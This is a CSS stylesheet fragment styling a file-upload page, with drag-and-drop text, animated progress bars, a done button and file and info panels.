#upload form .file-upload-drop-text {
margin-bottom: 0.2rem;
font-weight: bolder;
font-size: 24px;
letter-spacing: 0.4pt;
opacity: 0.9;
}
#upload form:not([drag='true']) .file-upload-drop-text {
display: none;
}
#upload form .file-upload-choose-text {
font-size: 16px;
color: #7d8590;
}
#upload form .file-upload-choose-text span {
padding-left: 4px;
font-size: inherit;
color: #2f81f7;
cursor: pointer;
}
#upload form .file-upload-choose-text span:hover {
text-decoration: underline;
}
#upload-manifest-files-input {
display: none !important;
}
#uploading {
width: calc(100% - 32px);
max-width: 650px;
display: flex;
flex-flow: column nowrap;
justify-content: flex-start;
align-items: flex-start;
}
#uploading .status-upload {
margin-bottom: 16px;
font-size: 20px;
opacity: 0.9;
}
#progress-bars {
width: 100%;
max-height: calc(100vh - (200px + 57px));
overflow: hidden auto;
margin-bottom: 20px;
padding-left: 5px;
}
#progress-bars .progress-desc {
position: relative;
}
#progress-bars .progress-title {
font-size: 16px;
white-space: nowrap;
text-overflow: ellipsis;
max-width: 48%;
overflow: hidden;
margin-bottom: 5px;
}
#progress-bars .file-size {
position: absolute;
right: 10px;
top: 5px;
font-size: 15px;
opacity: 0.8;
}
#progress-bars .progress {
--bg: #343941;
--fill: #3fb950;
--bar: 0%;
position: relative;
margin-left: 5px;
width: calc(100% - 6px);
height: 12px;
background-color: var(--bg);
border-radius: 2em;
margin-bottom: 10px;
overflow: hidden;
}
#progress-bars .progress::before {
content: '';
position: absolute;
z-index: 1;
top: 0;
left: 0;
transition: width ease-in-out 100ms;
background-color: var(--fill);
width: var(--bar);
height: 100%;
}
.done {
border-radius: 3px;
padding: 8px 16px;
margin: 0 auto;
border: 1px solid #2f81f7;
background: #2f81f7;
font-size: 14px;
font-weight: bold;
text-align: center;
color: #e7e7e7;
cursor: pointer;
}
#upload:not([uploading='true']) #uploading {
display: none !important;
}
#upload[uploading='true'] .msg-box,
#upload[uploading='true'] form {
display: none !important;
}
#files {
display: flex;
flex-flow: column nowrap;
justify-content: center;
align-items: center;
}
#files pre {
max-width: calc(100% - 50px);
max-height: calc(100% - 40px);
padding: 10px 15px;
font-size: 18px;
line-height: 25px;
overflow: auto;
}
#info {
display: flex;
flex-flow: column nowrap;
overflow: auto auto;
}
#info .container {
margin: auto auto;
padding: 32px 25px;
}